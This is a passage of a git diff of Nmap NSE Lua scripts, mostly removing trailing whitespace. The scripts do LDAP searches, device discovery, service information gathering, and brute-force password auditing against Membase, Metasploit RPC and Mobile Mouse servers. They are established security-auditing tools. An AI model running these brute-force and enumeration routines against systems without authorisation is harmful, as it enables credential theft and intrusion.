+172,7 @@ function action(host,port) if ( username ) then local bindParam = { version=3, ['username']=username, ['password']=password} local status, errmsg = ldap.bindRequest( socket, bindParam ) - + if not status then stdnse.print_debug( string.format("ldap-search failed to bind: %s", errmsg) ) return " \n ERROR: Authentication failed" @@ -182,27 +182,27 @@ function action(host,port) for username, password in pairs(accounts) do local bindParam = { version=3, ['username']=username, ['password']=password} local status, errmsg = ldap.bindRequest( socket, bindParam ) - + if status then break end end end - + if qfilter == "users" then - filter = { op=ldap.FILTER._or, val= - { - { op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' }, + filter = { op=ldap.FILTER._or, val= + { + { op=ldap.FILTER.equalityMatch, obj='objectClass', val='user' }, { op=ldap.FILTER.equalityMatch, obj='objectClass', val='posixAccount' }, - { op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' } + { op=ldap.FILTER.equalityMatch, obj='objectClass', val='person' } } } elseif qfilter == "computers" or qfilter == "computer" then filter = { op=ldap.FILTER.equalityMatch, obj='objectClass', val='computer' } - + elseif qfilter == "ad_dcs" then filter = { op=ldap.FILTER.extensibleMatch, obj='userAccountControl', val='1.2.840.113556.1.4.803:=8192' } - + elseif qfilter == "custom" then if searchAttrib == nil or searchValue == nil then return "\n\nERROR: Please specify both ldap.searchAttrib and ldap.searchValue using using the custom qfilter." @@ -212,30 +212,30 @@ function action(host,port) else filter = { op=ldap.FILTER.substrings, obj=searchAttrib, val=searchValue } end - + elseif qfilter == "all" or qfilter == nil then filter = nil -- { op=ldap.FILTER} else return " \n\nERROR: Unsupported Quick Filter: " .. qfilter end - + if type(attribs) == 'string' then local tmp = attribs attribs = {} table.insert(attribs, tmp) - end - + end + for _, context in ipairs(contexts) do - - req = { - baseObject = context, - scope = ldap.SCOPE.sub, - derefPolicy = ldap.DEREFPOLICY.default, - filter = filter, + + req = { + baseObject = context, + scope = ldap.SCOPE.sub, + derefPolicy = ldap.DEREFPOLICY.default, + filter = filter, attributes = attribs, ['maxObjects'] = maxObjects } status, searchResEntries = ldap.searchRequest( socket, req ) - + if not status then if ( searchResEntries:match("DSID[-]0C090627") and not(username) ) then return "ERROR: Failed to bind as the anonymous user" @@ -244,7 +244,7 @@ function action(host,port) return end end - + local result_part = ldap.searchResultToTable( searchResEntries ) if saveFile then @@ -254,7 +254,7 @@ function action(host,port) stdnse.print_debug(save_err) end end - + objCount = objCount + (result_part and #result_part or 0) result_part.name = "" @@ -265,7 +265,7 @@ function action(host,port) result_part.name = result_part.name .. ("; QFilter: %s"):format(qfilter) end if ( attribs ) then - result_part.name = result_part.name .. ("; Attributes: %s"):format(stdnse.strjoin(",", attribs)) + result_part.name = result_part.name .. ("; Attributes: %s"):format(stdnse.strjoin(",", attribs)) end table.insert( result, result_part ) @@ -274,27 +274,27 @@ function action(host,port) if searchResEntries.resultCode ~= 0 then local output = stdnse.format_output(true, result ) output = output .. string.format("\n\n\n=========== %s ===========", searchResEntries.errorMessage ) - + return output end end - + -- perform a unbind only if we have valid credentials if ( username ) then status = ldap.unbindRequest( socket ) end - + socket:close() - + -- if taken a way and ldap returns a single result, it ain't shown.... --result.name = "LDAP Results" - + local output = stdnse.format_output(true, result ) - + if ( maxObjects ~= -1 and objCount == maxObjects ) then output = output .. ("\n\nResult limited to %d objects (see ldap.maxobjects)"):format(maxObjects) end - + return output end diff --git a/scripts/lexmark-config.nse b/scripts/lexmark-config.nse index 230cb47cf..95528128e 100644 --- a/scripts/lexmark-config.nse +++ b/scripts/lexmark-config.nse @@ -21,7 +21,7 @@ http://www.lexmark.com/vgn/images/portal/Security%20Features%20of%20Lexmark%20MF -- Interesting ports on 192.168.1.111: -- PORT STATE SERVICE REASON -- 9100/udp unknown unknown unknown-response --- | lexmark-config: +-- | lexmark-config: -- | IPADDRESS: 10.46.200.170 -- | IPNETMASK: 255.255.255.0 -- | IPGATEWAY: 10.46.200.2 @@ -55,7 +55,7 @@ portrule = shortport.portnumber({5353,9100}, "udp") action = function( host, port ) - local result = {} + local result = {} local status, response = dns.query( "", { port = port.number, host = host.ip, dtype="PTR", retPkt=true} ) if ( not(status) ) then return @@ -64,23 +64,23 @@ action = function( host, port ) if ( not(status) ) then return end - + for _, v in ipairs( txtrecords ) do if ( v:len() > 0 ) then if v:find("PRINTERVIDPID") then port.version.name="hbn3" end - if not v:find("product=") then + if not v:find("product=") then v = v:gsub(" ", ": ", 1) - end + end table.insert( result, v ) end end - + -- set port to open nmap.set_port_state(host, port, "open") nmap.set_port_version(host, port) - + return stdnse.format_output(true, result) end diff --git a/scripts/llmnr-resolve.nse b/scripts/llmnr-resolve.nse index 8b947970f..b502b8ba5 100644 --- a/scripts/llmnr-resolve.nse +++ b/scripts/llmnr-resolve.nse @@ -31,7 +31,7 @@ For more information, see: -- --@output -- Pre-scan script results: --- | llmnr-query: +-- | llmnr-query: -- | acer-PC : 192.168.1.4 -- |_ Use the newtargets script-arg to add the results as targets -- @@ -83,7 +83,7 @@ end -- Listens for llmnr responses -- @param interface Network interface to listen on. --- @param timeout Maximum time to listen. +-- @param timeout Maximum time to listen. -- @param result table to put responses into. local llmnrListen = function(interface, timeout, result) local condvar = nmap.condvar(result) @@ -112,7 +112,7 @@ local llmnrListen = function(interface, timeout, result) -- Message == Response bit -- and 1 Question (hostname we requested) and if (bit.rshift(flags, 15) == 1) and questions == 0x01 then - stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src) + stdnse.print_debug("%s got response from %s", SCRIPT_NAME, p.ip_src) -- Skip header's 12 bytes -- extract host length local index, qlen = bin.unpack(">C", llmnr, 13) @@ -177,9 +177,9 @@ action = function() end -- Check if a valid interface was provided - local interface = nmap.get_interface() + local interface = nmap.get_interface() if interface then - interface = nmap.get_interface_info(interface) + interface = nmap.get_interface_info(interface) else interface = getInterface(mcast) end @@ -202,10 +202,10 @@ action = function() -- Check responses if #result > 0 then for _, response in pairs(result) do - table.insert(output, response.hostname.. " : " .. response.address) - if target.ALLOW_NEW_TARGETS then + table.insert(output, response.hostname.. " : " .. response.address) + if target.ALLOW_NEW_TARGETS then target.add(response.address) - end + end end if ( not(target.ALLOW_NEW_TARGETS) ) then table.insert(output,"Use the newtargets script-arg to add the results as targets") diff --git a/scripts/lltd-discovery.nse b/scripts/lltd-discovery.nse index 79974df3f..b9047f6cc 100644 --- a/scripts/lltd-discovery.nse +++ b/scripts/lltd-discovery.nse @@ -18,14 +18,14 @@ http://www.microsoft.com/whdc/connect/Rally/LLTD-spec.mspx ]] --- --- @usage --- nmap -e --script lltd-discovery +-- @usage +-- nmap -e --script lltd-discovery -- -- @args lltd-discovery.interface string specifying which interface to do lltd discovery on. If not specified, all ethernet interfaces are tried. -- @args lltd-discover.timeout timespec specifying how long to listen for replies (default 30s) -- -- @output --- | lltd-discovery: +-- | lltd-discovery: -- | 192.168.1.64 -- | Hostname: acer-PC -- | Mac: 18:f4:6a:4f:de:a2 (Hon Hai Precision Ind. Co.) @@ -53,12 +53,12 @@ prerule = function() nmap.registry[SCRIPT_NAME].rootfail = true return nil end - + if nmap.address_family() ~= 'inet' then stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) return false end - + return true end @@ -69,7 +69,7 @@ local function get_mac_addr( mac ) local catch = function() return end local try = nmap.new_try(catch) local mac_prefixes = try(datafiles.parse_mac_prefixes()) - + if mac:len() ~= 6 then return "Unknown" else @@ -94,24 +94,24 @@ local parseHello = function(data) -- generation_number, -- tlv_list(dict) --} - local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID", - "802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate", - "Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name", - "Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics", + local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID", + "802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate", + "Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name", + "Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics", "802.11 Physical Medium", "AP Association Table", "Detailed Icon Image", "Sees-List Working Set", "Component Table", "Repeater AP Lineage", "Repeater AP Table"} local mac = nil local ipv4 = nil local ipv6 = nil local hostname = nil - + local pos = 1 pos = pos + 6 local mac_src = data:sub(pos,pos+5) - + pos = pos + 24 local seq_no = data:sub(pos,pos+1) - + pos = pos + 2 local generation_no = data:sub(pos,pos+1) @@ -121,24 +121,24 @@ local parseHello = function(data) local tlv_list = {} local p = 1 while p < #tlv do - local t = tlv:byte(p) + local t = tlv:byte(p) if t == 0x00 then break - else + else p = p + 1 local l = tlv:byte(p) p = p + 1 local v = tlv:sub(p,p+l) - - if t == 0x01 then + + if t == 0x01 then -- Host ID (MAC Address) mac = get_mac_addr(v:sub(1,6)) elseif t == 0x08 then ipv6 = string.format( "%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x", - v:byte(1), v:byte(2), v:byte(3), v:byte(4), - v:byte(5), v:byte(6), v:byte(7), v:byte(8), + v:byte(1), v:byte(2), v:byte(3), v:byte(4), + v:byte(5), v:byte(6), v:byte(7), v:byte(8), v:byte(9), v:byte(10), v:byte(11), v:byte(12), v:byte(13), v:byte(14), v:byte(15), v:byte(16)) elseif t == 0x07 then @@ -160,10 +160,10 @@ local parseHello = function(data) if ipv4 and ipv6 and mac and hostname then break end - end + end end - - return ipv4, mac, ipv6, hostname + + return ipv4, mac, ipv6, hostname end --- Creates an LLTD Quick Discovery packet with the source MAC address @@ -174,9 +174,9 @@ local QuickDiscoveryPacket = function(mac_src) -- set up ethernet header = [ mac_dst, mac_src, protocol ] local mac_dst = "FF FF FF FF FF FF" -- broadcast local protocol = "88 d9" -- LLTD protocol number - + ethernet_hdr = bin.pack("HAH",mac_dst, mac_src, protocol) - + -- set up LLTD demultiplex header = [ version, type_of_service, reserved, function ] local lltd_version = "01" -- Fixed Value local lltd_type_of_service = "01" -- Type Of Service = Quick Discovery(0x01) @@ -195,7 +195,7 @@ local QuickDiscoveryPacket = function(mac_src) local number_of_stations = "00 00" local station_list = "00 00 00 00 00 00 " .. "00 00 00 00 00 00 " .. "00 00 00 00 00 00 " .."00 00 00 00 00 00 " - + discover_up_lev_hdr = bin.pack("AHH", generation_number, number_of_stations, station_list) -- put them all together and return @@ -207,11 +207,11 @@ local LLTDDiscover = function(if_table, lltd_responders, timeout) local timeout_s = 3 local condvar = nmap.condvar(lltd_responders) local pcap = nmap.new_socket() - pcap:set_timeout(5000) - + pcap:set_timeout(5000) + local dnet = nmap.new_dnet() local try = nmap.new_try(function() dnet:ethernet_close() pcap:close() end) - + pcap:pcap_open(if_table.device, 256, false, "") try(dnet:ethernet_open(if_table.device)) @@ -219,7 +219,7 @@ local LLTDDiscover = function(if_table, lltd_responders, timeout) try( dnet:ethernet_send(packet) ) stdnse.sleep(0.5) try( dnet:ethernet_send(packet) ) - + local start = os.time() local start_s = os.time() while true do @@ -228,9 +228,9 @@ local LLTDDiscover = function(if_table, lltd_responders, timeout) local packet = l2..l3 if stdnse.tohex(packet:sub(13,14)) == "88d9" then start_s = os.time() - + local ipv4, mac, ipv6, hostname = parseHello(packet) - + if ipv4 then if not lltd_responders[ipv4] then lltd_responders[ipv4] = {} @@ -245,7 +245,7 @@ local LLTDDiscover = function(if_table, lltd_responders, timeout) end end else - break + break end if os.time() - start > timeout then @@ -265,7 +265,7 @@ action = function() --get interface script-args, if any local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_opt = nmap.get_interface() - + -- interfaces list (decide which interfaces to broadcast on) local interfaces ={} if interface_opt or interface_arg then @@ -280,25 +280,25 @@ action = function() else local tmp_ifaces = nmap.list_interfaces() for _, if_table in ipairs(tmp_ifaces) do - if if_table.address and - if_table.link=="ethernet" and + if if_table.address and + if_table.link=="ethernet" and if_table.address:match("%d+%.%d+%.%d+%.%d+") then table.insert(interfaces, if_table) end end end - - if #interfaces == 0 then + + if #interfaces == 0 then stdnse.print_debug("No interfaces found.") - return + return end local lltd_responders={} local threads ={} local condvar = nmap.condvar(lltd_responders) - -- party time + -- party time for _, if_table in ipairs(interfaces) do -- create a thread for each interface local co = stdnse.new_thread(LLTDDiscover, if_table, lltd_responders, timeout) @@ -313,7 +313,7 @@ action = function() condvar "wait" end until next(threads) == nil - + -- generate output local output = {} for ip_addr, info in pairs(lltd_responders) do @@ -321,13 +321,13 @@ action = function() local s = {} s.name = ip_addr - if info.hostname then + if info.hostname then table.insert(s, "Hostname: " .. info.hostname) end - if info.mac then + if info.mac then table.insert(s, "Mac: " .. info.mac) end - if info.ipv6 then + if info.ipv6 then table.insert(s, "IPv6: " .. info.ipv6) end table.insert(output,s) diff --git a/scripts/maxdb-info.nse b/scripts/maxdb-info.nse index 7769f908b..7d80ce51f 100644 --- a/scripts/maxdb-info.nse +++ b/scripts/maxdb-info.nse @@ -16,7 +16,7 @@ Retrieves version and database information from a SAP Max DB database. -- @output -- PORT STATE SERVICE REASON -- 7210/tcp open maxdb syn-ack --- | maxdb-info: +-- | maxdb-info: -- | Version: 7.8.02 -- | Build: DBMServer 7.8.02 Build 021-121-242-175 -- | OS: UNIX @@ -48,7 +48,7 @@ local function exchPacket(socket, packet) stdnse.print_debug(2, "Failed to send packet to server") return false, "Failed to send packet to server" end - + local data status, data= socket:receive() if ( not(status) ) then @@ -56,7 +56,7 @@ local function exchPacket(socket, packet) return false, "Failed to read packet from server" end local pos, len = bin.unpack("SWAP, UNICODE, INSTANCE, -- SYSNAME, MASKING, -- REPLYTREATMENT and SDBDBM_IPCLOCATION -local function parseVersion(data) +local function parseVersion(data) local version_info = {} if ( #data > 27 ) then for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do @@ -131,7 +131,7 @@ action = function(host, port) local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600" local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020" local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20" - + local socket = nmap.new_socket() socket:set_timeout(10000) local status, err = socket:connect(host, port) @@ -146,12 +146,12 @@ action = function(host, port) if ( not(status) ) then return "\n ERROR: Failed to request version information from server" end - + local version_info = parseVersion(data) if ( not(version_info) ) then return "\n ERROR: Failed to parse version information from server" end - + local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"} for _, f in ipairs(filter) do table.insert(result, ("%s: %s"):format(f, version_info[f:upper()])) @@ -164,13 +164,13 @@ action = function(host, port) end local dbs = parseDatabases(data) table.insert(result, { name = "Databases", dbs } ) - + -- set the version information port.version.name = "maxdb" port.version.product = "SAP MaxDB" port.version.version = version_info.VERSION port.version.ostype = version_info.SYSNAME nmap.set_port_version(host, port) - + return stdnse.format_output(true, result) end diff --git a/scripts/membase-brute.nse b/scripts/membase-brute.nse index 60062d4a6..74c344dd7 100644 --- a/scripts/membase-brute.nse +++ b/scripts/membase-brute.nse @@ -15,7 +15,7 @@ Performs brute force password auditing against Couchbase Membase servers. -- @output -- PORT STATE SERVICE -- 11211/tcp open unknown --- | membase-brute: +-- | membase-brute: -- | Accounts -- | buckettest:toledo - Valid credentials -- | Statistics @@ -36,19 +36,19 @@ local arg_bucketname = stdnse.get_script_args(SCRIPT_NAME..".bucketname") Driver = { - + new = function(self, host, port, options) local o = { host = host, port = port, options = options } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) self.helper = membase.Helper:new(self.host, self.port) return self.helper:connect() end, - + login = function(self, username, password) local status, response = self.helper:login(arg_bucketname or username, password) if ( not(status) and "Auth failure" == response ) then @@ -58,13 +58,13 @@ Driver = { err:setRetry( true ) return false, err end - return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID) + return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID) end, - + disconnect = function(self) return self.helper:close() end - + } @@ -76,13 +76,13 @@ local function getMechs(host, port) if ( not(status) ) then return false, "Failed to connect to server" end - + local status, response = helper:getSASLMechList() if ( not(status) ) then stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response) return false, "Received unexpected response" end - + helper:close() return true, response.mechs end @@ -90,24 +90,24 @@ end action = function(host, port) local status, mechs = getMechs(host, port) - + if ( not(status) ) then return fail(mechs) end if ( not(mechs:match("PLAIN") ) ) then return fail("Unsupported SASL mechanism") end - - local result + + local result local engine = brute.Engine:new(Driver, host, port ) - + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true if ( arg_bucketname ) then engine.options:setOption( "passonly", true ) end - + status, result = engine:start() return result end diff --git a/scripts/membase-http-info.nse b/scripts/membase-http-info.nse index 82fce4cb2..01e7e2dcf 100644 --- a/scripts/membase-http-info.nse +++ b/scripts/membase-http-info.nse @@ -18,7 +18,7 @@ does not require any credentials. -- @output -- PORT STATE SERVICE -- 8091/tcp open unknown --- | membase-http-info: +-- | membase-http-info: -- | Hostname 192.168.0.5:8091 -- | OS x86_64-unknown-linux-gnu -- | Version 1.7.2r-20-g6604356 @@ -52,7 +52,7 @@ local filter = { ["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" }, ["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" }, ["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" }, - ["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" }, + ["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" }, ["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" }, ["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" }, ["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" }, @@ -80,16 +80,16 @@ local order = { local function cmdReq(host, port, url, result) local response = http.get(host, port, url) - + if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then return false end - + if ( response.header['server'] and not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then return false end - + local status, parsed = json.parse(response.body) if ( not(status) ) then return false, "Failed to parse response from server" @@ -109,9 +109,9 @@ local function cmdReq(host, port, url, result) end val = func() end - + if ( val ) then - local name = filter[item].name + local name = filter[item].name val = ( "table" == type(val) and stdnse.strjoin(",", val) or val ) result[item] = { name = name, value = val } end @@ -120,7 +120,7 @@ local function cmdReq(host, port, url, result) end action = function(host, port) - + -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests local _, http_status, _ = http.identify_404(host,port) if ( http_status == 200 ) then @@ -129,7 +129,7 @@ action = function(host, port) end local urls = { "/pools/default/buckets", "/pools" } - + local status, result for _, u in ipairs(urls) do status, result = cmdReq(host, port, u, result) @@ -138,13 +138,13 @@ action = function(host, port) if ( not(result) or not(next(result)) ) then return end - + local output = tab.new(2) for _, item in ipairs(order) do if ( result[item] ) then tab.addrow(output, result[item].name, result[item].value) end end - + return stdnse.format_output(true, tab.dump(output)) end diff --git a/scripts/memcached-info.nse b/scripts/memcached-info.nse index 478dfb6a6..cb2971b62 100644 --- a/scripts/memcached-info.nse +++ b/scripts/memcached-info.nse @@ -14,7 +14,7 @@ server time) from distributed memory object caching system memcached. -- -- @output -- 11211/tcp open unknown --- | memcached-info: +-- | memcached-info: -- | Process ID 18568 -- | Uptime 6950 seconds -- | Server time Sat Dec 31 14:16:10 2011 @@ -38,7 +38,7 @@ categories = {"discovery", "safe"} portrule = shortport.port_or_service(11211, "memcached", "tcp") local filter = { - + ["pid"] = { name = "Process ID" }, ["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end }, ["time"] = { name = "Server time", func = stdnse.format_timestamp }, @@ -51,7 +51,7 @@ local filter = { ["tcpport"] = { name = "TCP Port" }, ["udpport"] = { name = "UDP Port" }, ["auth_enabled_sasl"] = { name = "Authentication" } - + } local order = { @@ -69,7 +69,7 @@ local function mergetab(tab1, tab2) return tab1 end -local function recvResponse(socket) +local function recvResponse(socket) local kvs = {} repeat local status, response = socket:receive_buf("\r\n", false) @@ -81,7 +81,7 @@ local function recvResponse(socket) kvs[k] = v end until ( "END" == response or "ERROR" == response ) - + return true, kvs end @@ -98,24 +98,24 @@ action = function(host, port) if ( not(status) ) then return fail("Failed to send request to server") end - + local status, kvs = recvResponse(socket) if( not(status) ) then return fail(kvs) end - + status = socket:send("stats settings\r\n") if ( not(status) ) then return fail("Failed to send request to server") end - + local status, kvs2 = recvResponse(socket) if( not(status) ) then return fail(kvs2) end - + kvs = mergetab(kvs, kvs2) - + local result = tab.new(2) for _, item in ipairs(order) do if ( kvs[item] ) then diff --git a/scripts/metasploit-info.nse b/scripts/metasploit-info.nse index c13185dbf..d2def8218 100644 --- a/scripts/metasploit-info.nse +++ b/scripts/metasploit-info.nse @@ -7,12 +7,12 @@ local bin = require "bin" description = [[ Gathers info from the Metasploit rpc service. -It requires a valid login pair. After authentication it +It requires a valid login pair. After authentication it tries to determine Metasploit version and deduce the OS type. Then it creates a new console and executes few commands -to get additional info. +to get additional info. References: - * http://wiki.msgpack.org/display/MSGPACK/Format+specification + * http://wiki.msgpack.org/display/MSGPACK/Format+specification * https://community.rapid7.com/docs/DOC-1516 Metasploit RPC API Guide ]] @@ -33,7 +33,7 @@ References: -- | ..... lots of other info .... -- | Domain: WORKGROUP -- |_ Logon Server: \\BLABLA --- +-- -- @args metasploit-info.username Valid metasploit rpc username (required) -- @args metasploit-info.password Valid metasploit rpc password (required) -- @args metasploit-info.command Custom command to run on the server (optional) @@ -50,14 +50,14 @@ local arg_password = stdnse.get_script_args(SCRIPT_NAME .. ".password") local arg_command = stdnse.get_script_args(SCRIPT_NAME .. ".command") local os_type --- returns a "prefix" that msgpack uses for strings +-- returns a "prefix" that msgpack uses for strings local get_prefix = function(data) if string.len(data) <= 31 then return bin.pack("C",0xa0 + string.len(data)) - else + else return bin.pack("C",0xda) .. bin.pack("s",string.len(data)) - end - + end + end -- returns a msgpacked data for console.read @@ -80,7 +80,7 @@ end local encode_noparam = function(token,method) -- token is always the same length return bin.pack("C",0x92) .. get_prefix(method) .. method .. bin.pack("H","da0020") .. token -end +end -- does the actuall call with specified, pre-packed data -- and returns the response @@ -100,9 +100,9 @@ end -- auth.login wraper, returns the auth token local login = function(username, password,host,port) - + local data = msgrpc_call(host, port, encode_auth(username,password)) - + if data then local start = string.find(data,"success") if start > -1 then @@ -123,14 +123,14 @@ local get_version = function(host, port, token) local msg = encode_noparam(token,"core.version") local data = msgrpc_call(host, port, msg) - -- unpack data + -- unpack data if data then -- get version, ruby version, api version local start = string.find(data,"version") local metasploit_version - local ruby_version + local ruby_version local api_version - if start then + if start then metasploit_version = string.sub(string.sub(data,start),9) start = string.find(metasploit_version,"ruby") start = start - 2 @@ -138,7 +138,7 @@ local get_version = function(host, port, token) start = string.find(data,"ruby") ruby_version = string.sub(string.sub(data,start),6) start = string.find(ruby_version,"api") - start = start - 2 + start = start - 2 ruby_version = string.sub(ruby_version,1,start) start = string.find(data,"api") api_version = string.sub(string.sub(data,start),5) @@ -160,16 +160,16 @@ local get_version = function(host, port, token) return nil end --- console.create wraper, returns console_id +-- console.create wraper, returns console_id -- which we can use to interact with metasploit further local create_console = function(host,port,token) local msg = encode_noparam(token,"console.create") local data = msgrpc_call(host, port, msg) - -- unpack data + -- unpack data if data then --get console id local start = string.find(data,"id") - local console_id + local console_id if start then console_id = string.sub(string.sub(data,start),4) local next_token = string.find(console_id,"prompt") @@ -185,7 +185,7 @@ end local read_console = function(host,port,token,console_id) local msg = encode_console_read("console.read",token,console_id) local data = msgrpc_call(host, port, msg) - -- unpack data + -- unpack data if data then -- check if busy while string.byte(data,string.len(data)) == 0xc3 do @@ -194,21 +194,21 @@ local read_console = function(host,port,token,console_id) data = msgrpc_call(host, port, msg) end local start = string.find(data,"data") - local read_data + local read_data if start then read_data = string.sub(string.sub(data,start),8) local next_token = string.find(read_data,"prompt") read_data = string.sub(read_data,1,next_token-2) return read_data - end - end + end + end end -- console.write wraper local write_console = function(host,port,token,console_id,command) local msg = encode_console_write("console.write",token,console_id,command .. "\n") local data = msgrpc_call(host, port, msg) - -- unpack data + -- unpack data if data then return true end @@ -223,7 +223,7 @@ end -- write command and read result helper local write_read_console = function(host,port,token, console_id,command) - if write_console(host,port,token,console_id, command) then + if write_console(host,port,token,console_id, command) then local read_data = read_console(host,port,token,console_id) if read_data then read_data = string.sub(read_data,string.find(read_data,"\n")+1) -- skip command echo @@ -238,7 +238,7 @@ action = function( host, port ) stdnse.print_debug("This script requires username and password supplied as arguments") return false end - + -- authenticate local status, token = login(arg_username,arg_password,host,port) if status then @@ -258,7 +258,7 @@ action = function( host, port ) if read_data then info = info .. read_data end - elseif os_type == "windows" then + elseif os_type == "windows" then read_data = write_read_console(host,port,token,console_id, "systeminfo") if read_data then stdnse.print_debug(2,read_data) -- print whole info if dbg level high enough @@ -278,7 +278,7 @@ action = function( host, port ) destroy_console(host,port,token,console_id) end end - end + end if info then return stdnse.format_output(true,info) end diff --git a/scripts/metasploit-msgrpc-brute.nse b/scripts/metasploit-msgrpc-brute.nse index 167305126..b36f2c6e9 100644 --- a/scripts/metasploit-msgrpc-brute.nse +++ b/scripts/metasploit-msgrpc-brute.nse @@ -7,7 +7,7 @@ local bin = require "bin" local creds = require "creds" description = [[ -Performs brute force username and password auditing against +Performs brute force username and password auditing against Metasploit msgrpc interface. ]] @@ -18,7 +18,7 @@ Metasploit msgrpc interface. -- -- This script uses brute library to perform password -- guessing agains Metasploit's msgrpc interface. --- +-- -- -- @output -- PORT STATE SERVICE REASON @@ -42,9 +42,9 @@ portrule = shortport.port_or_service(55553,"metasploit-msgrpc") -- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more local encode = function(username, password) local method = "auth.login" - local username_prefix - local password_prefix - + local username_prefix + local password_prefix + if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw username_prefix = bin.pack("C",0xa0 + string.len(username)) else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16 @@ -52,10 +52,10 @@ local encode = function(username, password) end if string.len(password) <= 31 then password_prefix = bin.pack("C",0xa0 + string.len(password)) - else + else password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password)) end - + return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password end @@ -72,11 +72,11 @@ Driver = { -- as we are using http methods, no need for connect and disconnect -- this might cause a problem as in other scripts that don't have explicit connect - -- as there is no way to "reserve" a socket + -- as there is no way to "reserve" a socket connect = function( self ) return true end, - + login = function (self, user, pass) local data local options = { @@ -98,20 +98,20 @@ Driver = { return false, err end, - disconnect = function( self ) + disconnect = function( self ) return true end } action = function( host, port ) - local status, result + local status, result local engine = brute.Engine:new(Driver, host, port) engine.options.script_name = SCRIPT_NAME - engine.options.firstonly = true + engine.options.firstonly = true engine.max_threads = 3 engine.max_retries = 10 status, result = engine:start() - + return result end diff --git a/scripts/metasploit-xmlrpc-brute.nse b/scripts/metasploit-xmlrpc-brute.nse index 27ad46caf..21584793d 100644 --- a/scripts/metasploit-xmlrpc-brute.nse +++ b/scripts/metasploit-xmlrpc-brute.nse @@ -19,7 +19,7 @@ Performs brute force password auditing against a Metasploit RPC server using the -- @output -- PORT STATE SERVICE -- 55553/tcp open unknown --- | metasploit-xmlrpc-brute: +-- | metasploit-xmlrpc-brute: -- | Accounts -- | password - Valid credentials -- | Statistics @@ -33,7 +33,7 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(55553, "metasploit-xmlrpc", "tcp") -Driver = +Driver = { new = function (self, host, port, opts) local o = { host = host, port = port, opts = opts } @@ -47,7 +47,7 @@ Driver = if ( not(self.socket:connect(self.host, self.port, self.opts)) ) then return false end - return true + return true end, login = function( self, username, password ) @@ -61,14 +61,14 @@ Driver = end -- Create a buffer and receive the first line - local response + local response status, response = self.socket:receive_buf("\r?\n", false) if (response == nil or string.match(response,"faultStringauthentication error")) then stdnse.print_debug(2, "metasploit-xmlrpc-brute: Bad login: %s/%s", username, password) return false, brute.Error:new( "Bad login" ) elseif (string.match(response,"resultsuccess")) then - + stdnse.print_debug(1, "metasploit-xmlrpc-brute: Good login: %s/%s", username, password) return true, brute.Account:new(username, password, creds.State.VALID) end diff --git a/scripts/mmouse-brute.nse b/scripts/mmouse-brute.nse index 605b520e7..1f5bc53a6 100644 --- a/scripts/mmouse-brute.nse +++ b/scripts/mmouse-brute.nse @@ -6,7 +6,7 @@ local stdnse = require "stdnse" description = [[ Performs brute force password auditing against the RPA Tech Mobile Mouse -servers. +servers. The Mobile Mouse server runs on OS X, Windows and Linux and enables remote control of the keyboard and mouse from an iOS device. For more information: @@ -20,7 +20,7 @@ http://mobilemouse.com/ -- @output -- PORT STATE SERVICE -- 51010/tcp open unknown --- | mmouse-brute: +-- | mmouse-brute: -- | Accounts -- | vanilla - Valid credentials -- | Statistics @@ -39,33 +39,33 @@ arg_timeout = (arg_timeout or 5) * 1000 portrule = shortport.port_or_service(51010, "mmouse", "tcp") Driver = { - + new = function(self, host, port) local o = { host = host, port = port } setmetatable(o, self) self.__index = self return o end, - + connect = function( self ) self.socket = nmap.new_socket() self.socket:set_timeout(arg_timeout) return self.socket:connect(self.host, self.port) end, - + login = function( self, username, password ) local devid = "0123456789abcdef0123456789abcdef0123456" local devname = "Lord Vaders iPad" local suffix = "2".."\30".."2".."\04" local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) - + local status = self.socket:send(auth) if ( not(status) ) then local err = brute.Error:new( "Failed to send data to server" ) 